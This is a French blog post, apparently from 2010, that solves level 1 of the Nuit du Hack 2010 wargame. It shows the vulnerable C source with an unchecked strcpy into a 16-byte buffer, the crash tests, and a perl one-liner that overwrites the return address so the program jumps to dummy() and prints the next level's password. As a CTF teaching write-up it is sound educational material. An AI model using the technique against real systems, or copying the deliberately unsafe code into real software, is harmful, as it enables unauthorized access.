lundi 28 juin 2010

level1 wargame NDH2010 - tuto shellcode

Cet article décrit la résolution du wargame level 1 de la nuit du hack 2010. L'intérêt réside dans la commande perl qui permet d'injecter une adresse hexa dans une invit de commande.


solution

$ ssh -2 level1:level1@wargame.nuitduhack.com

level1@srv-public:~$ ./level1 $(perl -e "print 'A' x 20,chr 0x04,chr 0x85,chr 0x04,chr 0x08")
dummy() is at: 0x08048504
before:   SEBP=0xbffff808
      SEIP=0x080485fd
after:    SEBP=0x41414141
      SEIP=0x08048504
motdepasse

mode opératoire

Connectons nous en SSH au serveur.
level1:level1@wargame.nuitduhack.com's password:
  _   _    ____     _   _        ____    ___       _    ___    
 | \ |"|  |  _"\   |'| |'|      |___"\  / _"\  u  /"|  / _"\  u
<|  \| |>/| | | | /| |_| |\     U __) || / U |/ u | |u| / U |/ 
U| |\  |uU| |_| |\U|  _  |u     \/ __/ \ \// |,-.\| |/| \// |,-.
 |_| \_|  |____/ u |_| |_|      |_____|u\___/(_/  |_|  \___/(_/
 ||   \\,-.|||_    //   \\      <<  //   //     _//<,-, //     
 (_")  (_/(__)_)  (_") ("_)    (__)(__) (__)   (__)(_/ (__)      

Qu'y a t-il dans le répertoire?
level1@srv-public:~$ ls
level1  level1.c  passwd
Essayons level1:
level1@srv-public:~$ ./level1 A                                              
dummy() is at: 0x08048504
before:   SEBP=0xbffff838
      SEIP=0x080485fd
after:    SEBP=0xbffff838
      SEIP=0x080485fd

Testons le buffer overflow
level1@srv-public:~$ ./level1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
dummy() is at: 0x08048504
before:   SEBP=0xbffff7f8
      SEIP=0x080485fd
after:    SEBP=0x41414141
      SEIP=0x41414141
Erreur de segmentation

Téléchargeons le contenu du répertoire pour travailler en local
scp level1@wargame.nuitduhack.com:* ./
Voyons le code source du fichier vulnérable. La fonction dummy() nous donne ce qu'il faut pour atteindre le level2.
level1@srv-public:~$ cat level1.c
#include
#include
#include

void dummy()
{
        setresuid(geteuid(),geteuid(),geteuid());
        system("sleep 1; cat /home/level2/passwd;");
    exit(0);
}

int *p;
void func(char *arg)
{
        char buf[16];
        p = (int *)&buf[sizeof(buf)];

    printf("dummy() is at: 0x%08x\n", dummy);
        printf("before:   SEBP=%p\n\t  SEIP=0x%08x\n", *p, *(p+1));
        strcpy(buf, arg);
        printf("after:    SEBP=%p\n\t  SEIP=0x%08x\n", *p, *(p+1));

}
int main(int argc, char *argv[])
{
        if(!argv[1]) {
        printf("No command found...\n");
        return;
    }
        func(argv[1]);
}

L'adresse de dummy() qui nous est donnée est correcte. En effet, voyons le dump assembleur de level1
$ objdump -d level1 | grep "
08048504 :

Il y a 20 caractères avant d'écraser EIP
level1@srv-public:~$ ./level1 AAAAAAAAAAAAAAAAAAAAAAAA
dummy() is at: 0x08048504
before:   SEBP=0xbffff828
      SEIP=0x080485fd
after:    SEBP=0x41414141
      SEIP=0x41414141
Erreur de segmentation

level1@srv-public:~$ ./level1 AAAAAAAAAAAAAAAAAAAA  
dummy() is at: 0x08048504
before:   SEBP=0xbffff828
      SEIP=0x080485fd
after:    SEBP=0x41414141
      SEIP=0x08048500
Erreur de segmentation

Aucun commentaire:

Enregistrer un commentaire